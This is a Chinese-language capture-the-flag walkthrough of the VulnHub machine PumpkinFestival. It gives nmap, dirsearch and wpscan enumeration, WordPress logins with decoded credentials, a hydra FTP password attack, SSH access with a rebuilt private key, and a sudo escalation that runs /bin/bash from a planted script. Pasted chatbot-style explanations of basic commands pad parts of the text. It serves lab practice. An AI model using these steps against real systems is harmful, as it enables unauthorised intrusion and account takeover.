靶机下载地址
https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinfestival,329/
靶机配置
主机发现
arp-scan -l
端口扫描
nmap -sS -Pn -A -p- -n 192.168.229.163
访问网页
http://192.168.229.163/
这些可能是用户名和账号留存
F12查看页面源码,发现一个token值
45d9ee7239bc6b0bb21d3f8e1c5faa52
目录扫描
dirsearch -u "http://192.168.229.163:80"
拼接访问
http://192.168.229.163/robots.txt
访问tokens时,权限被拒绝,可能存在文件,尝试访问token.txt,得到第二个 token
http://192.168.229.163/tokens/token.txt
PumpkinToken : 2c0e11d2200e2604587c331f02a7ebea
查看到track.txt,得到一串值和一个邮箱
http://192.168.229.163/store/track.txt
看到 local ,可能需要绑定hosts,在 hosts 中写入
echo 192.168.229.163 pumpkins.local >> hosts
访问pumpkins.local
第三个token
http://pumpkins.local/
PumpkinToken : 06c3eb12ef2389e2752335beccfb2080
kali对http://pumpkins.local/进行目录扫描
需要修改/etc/hosts文件添加以下内容
192.168.229.163 pumpkins.local
wpscan
是一个开源的 WordPress 漏洞扫描工具,可以帮助你发现 WordPress 网站的漏洞和安全问题。
以下是 wpscan
的一些主要功能:
- 枚举 WordPress 网站的插件和主题。
- 检查 WordPress 核心版本是否存在已知的漏洞。
- 扫描 WordPress 插件和主题是否存在已知的漏洞。
- 提供 WordPress 网站的配置信息,如 WordPress 版本、PHP 版本等。
- 检测 WordPress 主题和插件的版本信息泄露。
- 检测 WordPress 网站是否存在已知的安全问题和漏洞。
使用 wpscan
可以帮助你评估 WordPress 网站的安全性,并采取相应的措施来修复已知的漏洞。
wpscan --url http://pumpkins.local -e at -e ap -e u
扫描到两个用户
发现两个可用网页
http://pumpkins.local/readme.html
解码网站
https://icyberchef.com/#recipe=From_Base62('0-9A-Za-z')&input=SzgydjBTdXZWMUVuMzUwTTB1eGlYVlJUbUJyUUlKUU43OHM
得到以下数据
morse & jack : Ug0t!TrIpyJ
访问网站,morse登录,密码:Ug0t!TrIpyJ
http://pumpkins.local/wp-admin
找到第四个token
PumpkinToken : 7139e925fd43618653e51f820bc6201b
之前 wpscan 扫描时,扫描到一个admin用户,尝试登录失败,密码,试试之前80端口看到的 Alohomora! ,登录成功,发现第五个token
admin:Alohomora!
http://pumpkins.local/wp-admin/post.php?post=23&action=edit
PumpkinToken : f2e00edc353309b40e1aed18e18ab2c4
ftp匿名登录,FTP:FTP
ls
cd secret
get token.txt
查看下载下的token.txt文件
得到第六个token
PumpkinToken : 2d6dbbae84d724409606eddd9dd71265
目前还剩harry用户密码没有获取,用hydra破解
hydra -l harry -P /usr/share/wordlists/rockyou.txt 192.168.229.163 ftp -e nsr
得到账户和密码
harry
yrrah
登录 ftp ,发现 token.txt
查看token.txt获得第七个token
ftp 192.168.229.163
ls
get token.txt
PumpkinToken : ba9fa9abf2be9373b7cbd9a6457f374e
继续cd到目录内查看
发现第8个token
PumpkinToken : f9c5053d01e0dfc30066476ab0f0564c
GETshell
继续cd打开发现data.txt文件,下载后打开发现是乱码
查看文件类型
file data.txt
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
你提供的命令是不同的 tar
命令来解压文件,最后使用 cat
命令来分析一个文件。以下是这些命令的解释:
tar vxf data.txt
:
-
- 使用
tar
解压文件data.txt
。v
表示显示详细信息,x
表示解压,f
表示指定文件名为data.txt
。不过通常情况下,.txt
文件并不是一个压缩包的格式,可能这里是误写了文件扩展名。
- 使用
tar xjf data
:
-
- 使用
tar
解压一个.bz2
格式的压缩包(j
代表bzip2
),文件名为data
。
- 使用
tar vxf key
:
-
- 解压名为
key
的文件并显示详细信息。这里并未给出文件扩展名,系统会尝试识别格式。
- 解压名为
cat jack
:
-
- 使用
cat
命令查看或输出jack
文件的内容。
- 使用
如果你需要进一步分析这些文件,或者遇到了什么问题,告诉我具体情况,我可以帮助你
使用 xxd 将 hexdump 转换,得到一个私钥(有问题)
sudo apt-get update
sudo apt-get install xxd
更新不成功记得换源
sudo vim /etc/apt/sources.list
用#把默认官方源注释掉,再加上中科大的的url:
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
具体请看
https://blog.csdn.net/weixin_46136890/article/details/124910871
xxd -r -p jack
复制内容到aaa并赋予其600权限
在 Kali Linux(或其他 Linux 发行版)中,可以使用多个命令将一个文件的内容复制到另一个文件中。以下是几种常用的方法:
方法 1:使用 cp
命令
如果你想简单地将一个文件的全部内容复制到另一个文件,可以使用 cp
命令:
bash
复制代码
cp source_file destination_file
例如:
bash
复制代码
cp file1.txt file2.txt
这将会把 file1.txt
的内容复制到 file2.txt
,如果 file2.txt
已经存在,它会被覆盖。
方法 2:使用重定向 >
或 >>
你也可以使用重定向符号将一个文件的内容写入到另一个文件:
- 覆盖写入:使用
>
将source_file
的内容复制到destination_file
,并覆盖目标文件的内容:
bash
复制代码
cat source_file > destination_file
- 追加写入:使用
>>
将source_file
的内容追加到destination_file
的末尾,而不会覆盖已有的内容:
bash
复制代码
cat source_file >> destination_file
方法 3:使用 tee
命令
tee
命令可以读取文件并同时将输出写入多个文件。以下是将文件内容复制到另一个文件的用法:
bash
复制代码
cat source_file | tee destination_file
这与使用 >
类似,tee
会将 source_file
的内容复制到 destination_file
。
方法 4:使用 dd
命令
dd
命令也可以用于复制文件内容,不过它通常用于更低级别的复制操作:
bash
复制代码
dd if=source_file of=destination_file
使用 xxd 将 hexdump 转换,得到一个私钥并将结果导入bbb文件
sudo apt-get update
sudo apt-get install xxd
更新不成功记得换源
sudo vim /etc/apt/sources.list
用#把默认官方源注释掉,再加上中科大的的url:
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
具体请看
https://blog.csdn.net/weixin_46136890/article/details/124910871
xxd -r -p jack > bbb
赋予bbb600权限
chmod 600 bbb
ssh连接
ssh -i bbb jack@192.168.229.163 -p6880
提权
sudo -l 发现需要密码,先往后做
sudo -l
找到token文件,发现是乱码
ls
cat token
查看文件类型,发现是可执行文件
file token
你提供的 token
信息描述了一个 ELF(Executable and Linkable Format)文件的元数据。以下是对这些字段的解释:
- setuid:这个标志意味着文件具有
setuid
位设置。当文件被执行时,它将以文件所有者的权限运行,而不是以当前用户的权限运行。对于安全性来说,setuid
文件需要特别注意。 - ELF 64-bit:文件是一个 64 位的 ELF 可执行文件。ELF 是 Linux 和其他类 Unix 系统上常见的可执行文件格式。
- LSB (Least Significant Bit) executable:指文件是小端字节序格式存储的,意味着较低位字节存储在较低地址(典型的 x86-64 处理器架构使用小端格式)。
- x86-64:文件适用于 x86-64 架构,这是常见的 64 位处理器架构,如 Intel 和 AMD 的现代 CPU。
- version 1 (SYSV):表示这是一个符合 System V ABI 的文件,这是 Unix 系统上常见的应用二进制接口。
- dynamically linked (uses shared libs):可执行文件是动态链接的,这意味着它在运行时需要链接一些共享库(动态库)。这些共享库通常是系统中已安装的库。
- for GNU/Linux 2.6.24:该可执行文件适用于 Linux 2.6.24 及其更新版本。
- BuildID[sha1]=977c5f4023cb5e77599fd8194089aa03f155ad88:这是一个文件的 Build ID,它通过 SHA-1 散列生成,唯一标识该二进制文件。用于调试或崩溃报告中的符号查找。
- stripped:该可执行文件已被 "剥离"(
stripped
),这意味着文件中的符号表和调试信息已被移除,以减小文件大小或出于安全考虑。调试这个文件可能会比较困难。
你可以使用 file
命令来查看文件的这些详细信息,例如:
bash
复制代码
file token
如果你需要对这个 ELF 文件进行进一步分析,比如调试、反汇编等,可以使用工具如 objdump
、readelf
或 gdb
。如果是检查安全风险,建议对 setuid
文件进行权限管理或进一步审查。
执行命令
得到第九个token
./token
PumpkinToken : 8d66ef0055b43d80c34917ec6c75f706
没有找到密码,使用之前的密码试试,发现是Ug0t!TrIpyJ
sudo -l
发现在/home/jack/pumpkins/alohomora*拥有sudo权限,没有就创造出该目录和文件,并赋予权限,执行alohomora
mkdir pumpkins
cd pumpkins
vi alohomora
/bin/bash
chmod 777 alohomora
sudo ./alohomora
查看是否提权成功
id
whoami
提权成功
找到最后一个文件
cd /root
ls
cat PumpkinFestival_Ticket
补充一下遗漏的第十个token
dirsearch目录扫描
python dirsearch.py -u "http://pumpkins.local"
http://pumpkins.local/license.txt
PumpkinToken : 5ff346114d634a015ce413e1bc3d8d71